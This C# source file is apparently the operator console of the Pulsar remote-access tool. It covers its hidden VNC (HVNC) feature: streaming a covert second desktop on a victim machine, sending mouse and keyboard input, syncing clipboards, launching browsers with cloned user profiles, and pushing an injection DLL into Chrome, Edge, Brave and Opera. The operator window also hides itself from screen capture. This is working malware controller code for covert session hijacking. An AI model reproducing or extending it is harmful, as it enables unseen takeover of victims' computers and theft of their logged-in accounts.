906 lines
31 KiB
C#
906 lines
31 KiB
C#
using Gma.System.MouseKeyHook;
|
|
using Pulsar.Common.Enums;
|
|
using Pulsar.Common.Helpers;
|
|
using Pulsar.Common.Messages;
|
|
using Pulsar.Common.Messages.Monitoring.Clipboard;
|
|
using Pulsar.Server.Forms.DarkMode;
|
|
using Pulsar.Server.Helper;
|
|
using Pulsar.Server.Messages;
|
|
using Pulsar.Server.Networking;
|
|
using Pulsar.Server.Utilities;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Runtime.InteropServices;
|
|
using Pulsar.Common.Messages.Monitoring.HVNC;
|
|
|
|
namespace Pulsar.Server.Forms
|
|
{
|
|
public partial class FrmHVNC : Form
|
|
{
|
|
/// <summary>
|
|
/// States whether remote mouse input is enabled.
|
|
/// </summary>
|
|
private bool _enableMouseInput;
|
|
|
|
/// <summary>
|
|
/// States whether remote keyboard input is enabled.
|
|
/// </summary>
|
|
private bool _enableKeyboardInput;
|
|
|
|
/// <summary>
|
|
/// Monitors clipboard changes on the server to send to the client
|
|
/// </summary>
|
|
private readonly ClipboardMonitor _clipboardMonitor;
|
|
|
|
/// <summary>
|
|
/// States whether bidirectional clipboard sync is enabled
|
|
/// </summary>
|
|
private bool _enableBidirectionalClipboard;
|
|
|
|
/// <summary>
|
|
/// The client which can be used for the HVNC.
|
|
/// </summary>
|
|
private readonly Client _connectClient;
|
|
|
|
/// <summary>
|
|
/// The message handler for handling the communication with the client.
|
|
/// </summary>
|
|
private readonly HVNCHandler _hVNCHandler;
|
|
|
|
/// <summary>
|
|
/// Stopwatch used to suppress FPS display during the initial seconds of the stream,
|
|
/// preventing unstable or misleading values from being shown.
|
|
/// </summary>
|
|
private readonly Stopwatch _fpsDisplayStopwatch = Stopwatch.StartNew();
|
|
|
|
/// <summary>
|
|
/// Last frames per second value to show in the title bar.
|
|
/// </summary>
|
|
private float _lastFps = -1f;
|
|
|
|
/// <summary>
|
|
/// Holds the opened HVNC form for each client.
|
|
/// </summary>
|
|
private static readonly Dictionary<Client, FrmHVNC> OpenedForms = new Dictionary<Client, FrmHVNC>();
|
|
|
|
private bool _useGPU = false;
|
|
private const int UpdateInterval = 10;
|
|
|
|
/// <summary>
|
|
/// Creates a new HVNC form for the client or gets the current open form, if there exists one already.
|
|
/// </summary>
|
|
/// <param name="client">The client used for the HVNC form.</param>
|
|
/// <returns>
|
|
/// Returns a new HVNC form for the client if there is none currently open, otherwise creates a new one.
|
|
/// </returns>
|
|
public static FrmHVNC CreateNewOrGetExisting(Client client)
|
|
{
|
|
if (OpenedForms.ContainsKey(client))
|
|
{
|
|
return OpenedForms[client];
|
|
}
|
|
FrmHVNC r = new FrmHVNC(client);
|
|
r.Disposed += (sender, args) => OpenedForms.Remove(client);
|
|
OpenedForms.Add(client, r);
|
|
return r;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Initializes a new instance of the <see cref="FrmHVNC"/> class using the given client.
|
|
/// </summary>
|
|
/// <param name="client">The client used for the HVNC form.</param>
|
|
public FrmHVNC(Client client)
|
|
{
|
|
_connectClient = client;
|
|
_hVNCHandler = new HVNCHandler(client);
|
|
_clipboardMonitor = new ClipboardMonitor(client);
|
|
|
|
RegisterMessageHandler();
|
|
InitializeComponent();
|
|
|
|
DarkModeManager.ApplyDarkMode(this);
|
|
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
|
|
UpdateInputButtonsVisualState();
|
|
}
|
|
|
|
private void UpdateInputButtonsVisualState()
|
|
{
|
|
UpdateButtonState(btnMouse, _enableMouseInput);
|
|
UpdateButtonState(btnKeyboard, _enableKeyboardInput);
|
|
UpdateButtonState(btnBiDirectionalClipboard, _enableBidirectionalClipboard);
|
|
}
|
|
|
|
private void UpdateButtonState(Button button, bool enabled)
|
|
{
|
|
if (enabled)
|
|
{
|
|
button.BackColor = Color.FromArgb(0, 120, 0); // Dark green
|
|
button.FlatAppearance.BorderColor = Color.LimeGreen;
|
|
}
|
|
else
|
|
{
|
|
button.BackColor = Color.FromArgb(40, 40, 40); // Default dark
|
|
button.FlatAppearance.BorderColor = Color.Gray;
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Called whenever a client disconnects.
|
|
/// </summary>
|
|
/// <param name="client">The client which disconnected.</param>
|
|
/// <param name="connected">True if the client connected, false if disconnected</param>
|
|
private void ClientDisconnected(Client client, bool connected)
|
|
{
|
|
if (!connected)
|
|
{
|
|
this.Invoke((MethodInvoker)this.Close);
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Registers the HVNC message handler for client communication.
|
|
/// </summary>
|
|
private void RegisterMessageHandler()
|
|
{
|
|
_connectClient.ClientState += ClientDisconnected;
|
|
_hVNCHandler.ProgressChanged += UpdateImage;
|
|
MessageHandler.Register(_hVNCHandler);
|
|
}
|
|
|
|
/// <summary>
|
|
/// Unregisters the HVNC message handler.
|
|
/// </summary>
|
|
private void UnregisterMessageHandler()
|
|
{
|
|
MessageHandler.Unregister(_hVNCHandler);
|
|
_hVNCHandler.ProgressChanged -= UpdateImage;
|
|
_connectClient.ClientState -= ClientDisconnected;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Subscribes to local mouse and keyboard events for HVNC input.
|
|
/// </summary>
|
|
private void SubscribeEvents()
|
|
{
|
|
picDesktop.MouseDown += PicDesktop_MouseDown;
|
|
picDesktop.MouseUp += PicDesktop_MouseUp;
|
|
picDesktop.MouseMove += PicDesktop_MouseMove;
|
|
picDesktop.MouseWheel += PicDesktop_MouseWheel;
|
|
picDesktop.KeyDown += PicDesktop_KeyDown;
|
|
picDesktop.KeyUp += PicDesktop_KeyUp;
|
|
|
|
picDesktop.TabStop = true;
|
|
picDesktop.Focus();
|
|
}
|
|
|
|
/// <summary>
|
|
/// Unsubscribes from local mouse and keyboard events.
|
|
/// </summary>
|
|
private void UnsubscribeEvents()
|
|
{
|
|
picDesktop.MouseDown -= PicDesktop_MouseDown;
|
|
picDesktop.MouseUp -= PicDesktop_MouseUp;
|
|
picDesktop.MouseMove -= PicDesktop_MouseMove;
|
|
picDesktop.MouseWheel -= PicDesktop_MouseWheel;
|
|
picDesktop.KeyDown -= PicDesktop_KeyDown;
|
|
picDesktop.KeyUp -= PicDesktop_KeyUp;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Starts the HVNC stream and begin to receive desktop frames.
|
|
/// </summary>
|
|
private void StartStream(bool useGPU)
|
|
{
|
|
ToggleConfigurationControls(true);
|
|
|
|
picDesktop.Start();
|
|
// Subscribe to the new frame counter.
|
|
picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated);
|
|
|
|
this.ActiveControl = picDesktop;
|
|
|
|
_hVNCHandler.EnableMouseInput = _enableMouseInput;
|
|
_hVNCHandler.EnableKeyboardInput = _enableKeyboardInput;
|
|
|
|
_hVNCHandler.MaxFramesPerSecond = 30;
|
|
|
|
_hVNCHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex, useGPU);
|
|
}
|
|
|
|
/// <summary>
|
|
/// Stops the HVNC stream.
|
|
/// </summary>
|
|
private void StopStream()
|
|
{
|
|
ToggleConfigurationControls(false);
|
|
|
|
picDesktop.Stop();
|
|
// Unsubscribe from the frame counter. It will be re-created when starting again.
|
|
picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated);
|
|
|
|
this.ActiveControl = picDesktop;
|
|
|
|
_hVNCHandler.EndReceiveFrames();
|
|
}
|
|
|
|
/// <summary>
|
|
/// Toggles the activatability of configuration controls in the status/configuration panel.
|
|
/// </summary>
|
|
/// <param name="started">When set to <code>true</code> the configuration controls get enabled, otherwise they get disabled.</param>
|
|
private void ToggleConfigurationControls(bool started)
|
|
{
|
|
btnStart.Enabled = !started;
|
|
btnStop.Enabled = started;
|
|
barQuality.Enabled = !started;
|
|
cbMonitors.Enabled = !started;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Toggles the visibility of the status/configuration panel.
|
|
/// </summary>
|
|
/// <param name="visible">Decides if the panel should be visible.</param>
|
|
private void TogglePanelVisibility(bool visible)
|
|
{
|
|
panelTop.Visible = visible;
|
|
btnShow.Visible = !visible;
|
|
|
|
if (visible)
|
|
{
|
|
// Restore picture below panel
|
|
picDesktop.Top = panelTop.Bottom;
|
|
picDesktop.Height = this.ClientSize.Height - panelTop.Height;
|
|
}
|
|
else
|
|
{
|
|
// Expand picture to fill the whole window
|
|
picDesktop.Top = 0;
|
|
picDesktop.Height = this.ClientSize.Height;
|
|
}
|
|
|
|
// Keep full width either way
|
|
picDesktop.Width = this.ClientSize.Width;
|
|
|
|
this.ActiveControl = picDesktop;
|
|
}
|
|
|
|
|
|
/// <summary>
|
|
/// Called whenever the remote displays changed.
|
|
/// </summary>
|
|
/// <param name="sender">The message handler which raised the event.</param>
|
|
/// <param name="displays">The currently available displays.</param>
|
|
private void DisplaysChanged(object sender, int displays)
|
|
{
|
|
cbMonitors.Items.Clear();
|
|
for (int i = 0; i < displays; i++)
|
|
cbMonitors.Items.Add($"Display {i + 1}");
|
|
cbMonitors.SelectedIndex = 0;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Updates the current desktop image by drawing it to the desktop picturebox.
|
|
/// </summary>
|
|
/// <param name="sender">The message handler which raised the event.</param>
|
|
/// <param name="bmp">The new desktop image to draw.</param>
|
|
private Stopwatch _stopwatch = new Stopwatch();
|
|
private int _sizeFrames = 0;
|
|
private int _remoteDesktopWidth = 0;
|
|
private int _remoteDesktopHeight = 0;
|
|
|
|
private void UpdateImage(object sender, Bitmap bmp)
|
|
{
|
|
if (!_stopwatch.IsRunning)
|
|
_stopwatch.Start();
|
|
|
|
_sizeFrames++;
|
|
|
|
double elapsedSeconds = _stopwatch.Elapsed.TotalSeconds;
|
|
|
|
if (_hVNCHandler.CurrentFps > 0)
|
|
{
|
|
_lastFps = _hVNCHandler.CurrentFps;
|
|
}
|
|
|
|
if (elapsedSeconds >= 1.0)
|
|
{
|
|
_stopwatch.Restart();
|
|
}
|
|
|
|
if (_sizeFrames >= 60)
|
|
{
|
|
_sizeFrames = 0;
|
|
long last = _hVNCHandler.LastFrameSizeBytes;
|
|
double avg = _hVNCHandler.AverageFrameSizeBytes;
|
|
if (last > 0 || avg > 0)
|
|
{
|
|
double lastKB = last / 1024.0;
|
|
double avgKB = avg / 1024.0;
|
|
this.Invoke((MethodInvoker)delegate
|
|
{
|
|
sizeLabelCounter.Text = $"{avgKB:0.0} KB";
|
|
});
|
|
}
|
|
}
|
|
|
|
picDesktop.UpdateImage(bmp, false);
|
|
|
|
// Update remote desktop dimensions for proper mouse coordinate scaling
|
|
_remoteDesktopWidth = picDesktop.ScreenWidth;
|
|
_remoteDesktopHeight = picDesktop.ScreenHeight;
|
|
}
|
|
|
|
private void FrmHVNC_Load(object sender, EventArgs e)
|
|
{
|
|
this.Text = WindowHelper.GetWindowTitle("HVNC", _connectClient);
|
|
|
|
OnResize(EventArgs.Empty); // trigger resize event to align controls
|
|
|
|
// Subscribe to displays changed event
|
|
_hVNCHandler.DisplaysChanged += DisplaysChanged;
|
|
|
|
// Request monitor count from client
|
|
_hVNCHandler.RefreshDisplays();
|
|
|
|
cbMonitors.SelectedIndex = 0;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Updates the title with the current frames per second.
|
|
/// </summary>
|
|
/// <param name="e">The new frames per second.</param>
|
|
private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e)
|
|
{
|
|
float fpsToShow;
|
|
|
|
if (_fpsDisplayStopwatch.Elapsed.TotalSeconds < 2)
|
|
{
|
|
// Ignore the first 2 seconds to avoid showing fake FPS values
|
|
fpsToShow = 0f;
|
|
}
|
|
else
|
|
{
|
|
float clientFps = _hVNCHandler.CurrentFps;
|
|
fpsToShow = clientFps > 0f ? clientFps : ((_lastFps > 0f) ? _lastFps : e.CurrentFramesPerSecond);
|
|
}
|
|
|
|
this.Text = string.Format("{0} - FPS: {1:0.00}", WindowHelper.GetWindowTitle("HVNC", _connectClient), fpsToShow);
|
|
}
|
|
|
|
private void FrmHVNC_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
// all cleanup logic goes here
|
|
SetClientClipboardSync(false);
|
|
UnsubscribeEvents();
|
|
if (_hVNCHandler.IsStarted) StopStream();
|
|
_hVNCHandler.DisplaysChanged -= DisplaysChanged;
|
|
UnregisterMessageHandler();
|
|
_hVNCHandler.Dispose();
|
|
_clipboardMonitor?.Dispose();
|
|
|
|
|
|
picDesktop.GetImageSafe?.Dispose();
|
|
picDesktop.GetImageSafe = null;
|
|
}
|
|
|
|
private void FrmHVNC_Resize(object sender, EventArgs e)
|
|
{
|
|
if (WindowState == FormWindowState.Minimized)
|
|
return;
|
|
|
|
panelTop.Width = this.ClientSize.Width;
|
|
picDesktop.Width = this.ClientSize.Width;
|
|
|
|
if (panelTop.Visible)
|
|
{
|
|
picDesktop.Top = panelTop.Bottom;
|
|
picDesktop.Height = this.ClientSize.Height - panelTop.Height;
|
|
}
|
|
else
|
|
{
|
|
picDesktop.Top = 0;
|
|
picDesktop.Height = this.ClientSize.Height;
|
|
}
|
|
|
|
btnShow.Left = (this.ClientSize.Width - btnShow.Width) / 2;
|
|
btnShow.Top = this.ClientSize.Height - btnShow.Height - 40;
|
|
}
|
|
|
|
|
|
|
|
private void btnStart_Click(object sender, EventArgs e)
|
|
{
|
|
if (cbMonitors.Items.Count == 0)
|
|
{
|
|
MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.",
|
|
"Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
return;
|
|
}
|
|
|
|
SubscribeEvents();
|
|
StartStream(_useGPU);
|
|
}
|
|
|
|
private void btnStop_Click(object sender, EventArgs e)
|
|
{
|
|
UnsubscribeEvents();
|
|
StopStream();
|
|
}
|
|
|
|
#region HVNC Configuration
|
|
|
|
private void barQuality_Scroll(object sender, EventArgs e)
|
|
{
|
|
int value = barQuality.Value;
|
|
lblQualityShow.Text = value.ToString();
|
|
|
|
if (value < 25)
|
|
lblQualityShow.Text += " (low)";
|
|
else if (value >= 85)
|
|
lblQualityShow.Text += " (best)";
|
|
else if (value >= 75)
|
|
lblQualityShow.Text += " (high)";
|
|
else if (value >= 25)
|
|
lblQualityShow.Text += " (mid)";
|
|
|
|
this.ActiveControl = picDesktop;
|
|
}
|
|
|
|
private void btnMouse_Click(object sender, EventArgs e)
|
|
{
|
|
_enableMouseInput = !_enableMouseInput;
|
|
|
|
if (_enableMouseInput)
|
|
{
|
|
this.picDesktop.Cursor = Cursors.Hand;
|
|
btnMouse.Image = Properties.Resources.mouse_add;
|
|
btnMouse.BackColor = Color.LightGreen;
|
|
toolTipButtons.SetToolTip(btnMouse, "Disable mouse input.");
|
|
}
|
|
else
|
|
{
|
|
this.picDesktop.Cursor = Cursors.Default;
|
|
btnMouse.Image = Properties.Resources.mouse_delete;
|
|
btnMouse.BackColor = DefaultBackColor;
|
|
toolTipButtons.SetToolTip(btnMouse, "Enable mouse input.");
|
|
}
|
|
|
|
_hVNCHandler.EnableMouseInput = _enableMouseInput;
|
|
UpdateInputButtonsVisualState();
|
|
this.ActiveControl = picDesktop;
|
|
}
|
|
|
|
private void btnKeyboard_Click(object sender, EventArgs e)
|
|
{
|
|
_enableKeyboardInput = !_enableKeyboardInput;
|
|
|
|
if (_enableKeyboardInput)
|
|
{
|
|
this.picDesktop.Cursor = Cursors.Hand;
|
|
btnKeyboard.Image = Properties.Resources.keyboard_add;
|
|
btnKeyboard.BackColor = Color.LightGreen;
|
|
toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input.");
|
|
}
|
|
else
|
|
{
|
|
this.picDesktop.Cursor = Cursors.Default;
|
|
btnKeyboard.Image = Properties.Resources.keyboard_delete;
|
|
btnKeyboard.BackColor = DefaultBackColor;
|
|
toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input.");
|
|
}
|
|
|
|
_hVNCHandler.EnableKeyboardInput = _enableKeyboardInput;
|
|
UpdateInputButtonsVisualState();
|
|
this.ActiveControl = picDesktop;
|
|
}
|
|
|
|
private void btnBiDirectionalClipboard_Click(object sender, EventArgs e)
|
|
{
|
|
_enableBidirectionalClipboard = !_enableBidirectionalClipboard;
|
|
UpdateInputButtonsVisualState();
|
|
|
|
_clipboardMonitor.IsEnabled = _enableBidirectionalClipboard;
|
|
Debug.WriteLine(_clipboardMonitor.IsEnabled ? "HVNC: Server->Client clipboard sync enabled." : "HVNC: Server->Client clipboard sync disabled.");
|
|
|
|
SetClientClipboardSync(_enableBidirectionalClipboard);
|
|
|
|
|
|
if (_enableBidirectionalClipboard)
|
|
{
|
|
Thread clipboardThread = new Thread(() =>
|
|
{
|
|
try
|
|
{
|
|
Thread.CurrentThread.SetApartmentState(ApartmentState.STA);
|
|
|
|
if (Clipboard.ContainsText())
|
|
{
|
|
string clipboardText = Clipboard.GetText();
|
|
if (!string.IsNullOrEmpty(clipboardText))
|
|
{
|
|
Debug.WriteLine($"HVNC: Sending initial clipboard: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}...");
|
|
_connectClient.Send(new SendClipboardData { ClipboardText = clipboardText });
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Debug.WriteLine($"HVNC: Error sending initial clipboard: {ex.Message}");
|
|
}
|
|
});
|
|
clipboardThread.SetApartmentState(ApartmentState.STA);
|
|
clipboardThread.Start();
|
|
}
|
|
|
|
this.ActiveControl = picDesktop;
|
|
}
|
|
|
|
private void SetClientClipboardSync(bool enabled)
|
|
{
|
|
try
|
|
{
|
|
if (_connectClient != null)
|
|
{
|
|
_connectClient.ClipboardSyncEnabled = enabled;
|
|
}
|
|
|
|
_connectClient?.Send(new SetClipboardMonitoringEnabled { Enabled = enabled });
|
|
Debug.WriteLine(enabled
|
|
? "HVNC: Requested client clipboard sync enable."
|
|
: "HVNC: Requested client clipboard sync disable.");
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Debug.WriteLine($"HVNC: Failed to update client clipboard sync state: {ex.Message}");
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#region Helper Methods
|
|
/// <summary>
|
|
/// Loads the HVNCInjection.x64.dll from the current working directory as bytes.
|
|
/// </summary>
|
|
/// <returns>The DLL bytes, or null if the file is not found.</returns>
|
|
private byte[] GetHVNCInjectionDllBytes()
|
|
{
|
|
try
|
|
{
|
|
string dllPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "HVNCInjection.x64.dll");
|
|
if (File.Exists(dllPath))
|
|
{
|
|
return File.ReadAllBytes(dllPath);
|
|
}
|
|
else
|
|
{
|
|
Debug.WriteLine($"HVNCInjection.x64.dll not found at: {dllPath}");
|
|
return null;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Debug.WriteLine($"Error loading HVNCInjection.x64.dll: {ex.Message}");
|
|
return null;
|
|
}
|
|
}
|
|
#endregion
|
|
|
|
#region MenuItems
|
|
private void menuItem1_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Explorer"
|
|
});
|
|
}
|
|
|
|
private void menuItem2_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Chrome",
|
|
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
|
|
DllBytes = GetHVNCInjectionDllBytes()
|
|
});
|
|
}
|
|
|
|
private void startEdgeToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Edge",
|
|
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
|
|
DllBytes = GetHVNCInjectionDllBytes()
|
|
});
|
|
}
|
|
|
|
private void startBraveToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Brave",
|
|
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
|
|
DllBytes = GetHVNCInjectionDllBytes()
|
|
});
|
|
}
|
|
|
|
private void startOperaToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Opera",
|
|
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
|
|
DllBytes = GetHVNCInjectionDllBytes()
|
|
});
|
|
}
|
|
|
|
private void startOperaGXToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "OperaGX",
|
|
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked,
|
|
DllBytes = GetHVNCInjectionDllBytes()
|
|
});
|
|
}
|
|
|
|
private void startFirefoxToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Mozilla",
|
|
DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked
|
|
});
|
|
}
|
|
|
|
private void startCmdToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Cmd"
|
|
});
|
|
}
|
|
|
|
private void startPowershellToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Powershell"
|
|
});
|
|
}
|
|
|
|
private void startCustomPathToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
FrmCustomFileStarter fileSelectionForm = new FrmCustomFileStarter(_connectClient, typeof(StartHVNCProcess));
|
|
fileSelectionForm.ShowDialog();
|
|
}
|
|
|
|
private void startGenericChromiumToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
FrmHVNCPopUp genericBrowserForm = new FrmHVNCPopUp(_connectClient, GetHVNCInjectionDllBytes());
|
|
genericBrowserForm.ShowDialog();
|
|
}
|
|
|
|
private void cLONEBROWSERPROFILEToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
cLONEBROWSERPROFILEToolStripMenuItem.Checked = !cLONEBROWSERPROFILEToolStripMenuItem.Checked;
|
|
|
|
if (cLONEBROWSERPROFILEToolStripMenuItem.Checked)
|
|
{
|
|
cLONEBROWSERPROFILEToolStripMenuItem.Text = "CLONE BROWSER PROFILE";
|
|
}
|
|
else
|
|
{
|
|
cLONEBROWSERPROFILEToolStripMenuItem.Text = "DIRECT START BROWSER";
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#region Input Event Handlers
|
|
|
|
/// <summary>
|
|
/// Scales the X coordinate from the control space to the remote desktop space.
|
|
/// Uses floating-point math for more accurate scaling, then rounds to nearest integer.
|
|
/// </summary>
|
|
private int ScaleX(int x)
|
|
{
|
|
if (_remoteDesktopWidth == 0 || picDesktop.Width == 0)
|
|
return x;
|
|
|
|
return (int)Math.Round((double)x * _remoteDesktopWidth / picDesktop.Width);
|
|
}
|
|
|
|
/// <summary>
|
|
/// Scales the Y coordinate from the control space to the remote desktop space.
|
|
/// Uses floating-point math for more accurate scaling, then rounds to nearest integer.
|
|
/// </summary>
|
|
private int ScaleY(int y)
|
|
{
|
|
if (_remoteDesktopHeight == 0 || picDesktop.Height == 0)
|
|
return y;
|
|
|
|
return (int)Math.Round((double)y * _remoteDesktopHeight / picDesktop.Height);
|
|
}
|
|
|
|
private void PicDesktop_MouseDown(object sender, MouseEventArgs e)
|
|
{
|
|
if (!_enableMouseInput) return;
|
|
|
|
uint message = e.Button switch
|
|
{
|
|
MouseButtons.Left => 0x0201,
|
|
MouseButtons.Right => 0x0204,
|
|
MouseButtons.Middle => 0x0207,
|
|
_ => 0
|
|
};
|
|
if (message == 0) return;
|
|
|
|
int wParam = 0;
|
|
int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF);
|
|
_hVNCHandler.SendMouseEvent(message, wParam, lParam);
|
|
}
|
|
|
|
private void PicDesktop_MouseUp(object sender, MouseEventArgs e)
|
|
{
|
|
if (!_enableMouseInput) return;
|
|
|
|
uint message = e.Button switch
|
|
{
|
|
MouseButtons.Left => 0x0202,
|
|
MouseButtons.Right => 0x0205,
|
|
MouseButtons.Middle => 0x0208,
|
|
_ => 0
|
|
};
|
|
if (message == 0) return;
|
|
|
|
int wParam = 0;
|
|
int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF);
|
|
_hVNCHandler.SendMouseEvent(message, wParam, lParam);
|
|
}
|
|
|
|
private void PicDesktop_MouseMove(object sender, MouseEventArgs e)
|
|
{
|
|
if (!_enableMouseInput) return;
|
|
|
|
uint message = 0x0200;
|
|
int wParam = 0;
|
|
int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF);
|
|
_hVNCHandler.SendMouseEvent(message, wParam, lParam);
|
|
}
|
|
|
|
private void PicDesktop_MouseWheel(object sender, MouseEventArgs e)
|
|
{
|
|
if (!_enableMouseInput) return;
|
|
|
|
int x = ScaleX(e.X);
|
|
int y = ScaleY(e.Y);
|
|
|
|
if (e.Delta != 0)
|
|
{
|
|
int buttonMask = e.Delta > 0 ? 0x0010 : 0x0020; // Wheel up/down
|
|
_hVNCHandler.SendMouseEvent(0x0201, buttonMask, (y << 16) | (x & 0xFFFF));
|
|
_hVNCHandler.SendMouseEvent(0x0202, 0, (y << 16) | (x & 0xFFFF));
|
|
}
|
|
}
|
|
|
|
private void PicDesktop_KeyDown(object sender, KeyEventArgs e)
|
|
{
|
|
if (!_enableKeyboardInput) return;
|
|
|
|
uint message = 0x0100; // WM_KEYDOWN
|
|
int wParam = (int)e.KeyCode;
|
|
int lParam = BuildKeyboardLParam(e.KeyCode, false); // false = key down
|
|
|
|
_hVNCHandler.SendKeyboardEvent(message, wParam, lParam);
|
|
}
|
|
|
|
private void PicDesktop_KeyUp(object sender, KeyEventArgs e)
|
|
{
|
|
if (!_enableKeyboardInput) return;
|
|
|
|
uint message = 0x0101; // WM_KEYUP
|
|
int wParam = (int)e.KeyCode;
|
|
int lParam = BuildKeyboardLParam(e.KeyCode, true); // true = key up
|
|
|
|
_hVNCHandler.SendKeyboardEvent(message, wParam, lParam);
|
|
}
|
|
|
|
#endregion
|
|
|
|
private void btnHide_Click(object sender, EventArgs e)
|
|
{
|
|
TogglePanelVisibility(false);
|
|
}
|
|
|
|
private void btnShow_Click(object sender, EventArgs e)
|
|
{
|
|
TogglePanelVisibility(true);
|
|
}
|
|
|
|
private void startDiscordToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
_connectClient.Send(new StartHVNCProcess
|
|
{
|
|
Path = "Discord"
|
|
});
|
|
}
|
|
|
|
#region Win32 API and Helper Methods
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
|
|
|
/// <summary>
|
|
/// Builds the appropriate lParam value for keyboard messages.
|
|
/// </summary>
|
|
/// <param name="keyCode">The Windows Forms key code</param>
|
|
/// <param name="isKeyUp">True if this is a key up event, false for key down</param>
|
|
/// <returns>The properly formatted lParam for the keyboard message</returns>
|
|
private int BuildKeyboardLParam(Keys keyCode, bool isKeyUp)
|
|
{
|
|
int vk = (int)keyCode;
|
|
uint scanCode = MapVirtualKey((uint)vk, 0); // MAPVK_VK_TO_VSC = 0
|
|
|
|
int lParam = 0;
|
|
|
|
lParam |= 1;
|
|
|
|
lParam |= (int)(scanCode << 16);
|
|
|
|
if (IsExtendedKey(vk))
|
|
{
|
|
lParam |= (1 << 24);
|
|
}
|
|
|
|
if (isKeyUp)
|
|
{
|
|
lParam |= (1 << 30);
|
|
lParam |= (1 << 31);
|
|
}
|
|
|
|
return lParam;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Determines if a virtual key code represents an extended key.
|
|
/// </summary>
|
|
/// <param name="virtualKey">The virtual key code</param>
|
|
/// <returns>True if the key is an extended key</returns>
|
|
private bool IsExtendedKey(int virtualKey)
|
|
{
|
|
switch (virtualKey)
|
|
{
|
|
case (int)Keys.Prior: // Page Up
|
|
case (int)Keys.Next: // Page Down
|
|
case (int)Keys.End: // End
|
|
case (int)Keys.Home: // Home
|
|
case (int)Keys.Left: // Left arrow
|
|
case (int)Keys.Up: // Up arrow
|
|
case (int)Keys.Right: // Right arrow
|
|
case (int)Keys.Down: // Down arrow
|
|
case (int)Keys.Insert: // Insert
|
|
case (int)Keys.Delete: // Delete
|
|
case (int)Keys.LWin: // Left Windows
|
|
case (int)Keys.RWin: // Right Windows
|
|
case (int)Keys.Apps: // Menu
|
|
case (int)Keys.LShiftKey: // Left Shift (when differentiated)
|
|
case (int)Keys.RShiftKey: // Right Shift
|
|
case (int)Keys.LControlKey: // Left Control
|
|
case (int)Keys.RControlKey: // Right Control
|
|
case (int)Keys.LMenu: // Left Alt
|
|
case (int)Keys.RMenu: // Right Alt
|
|
case (int)Keys.Scroll: // Scroll Lock
|
|
return true;
|
|
default:
|
|
return false;
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
}
|
|
} |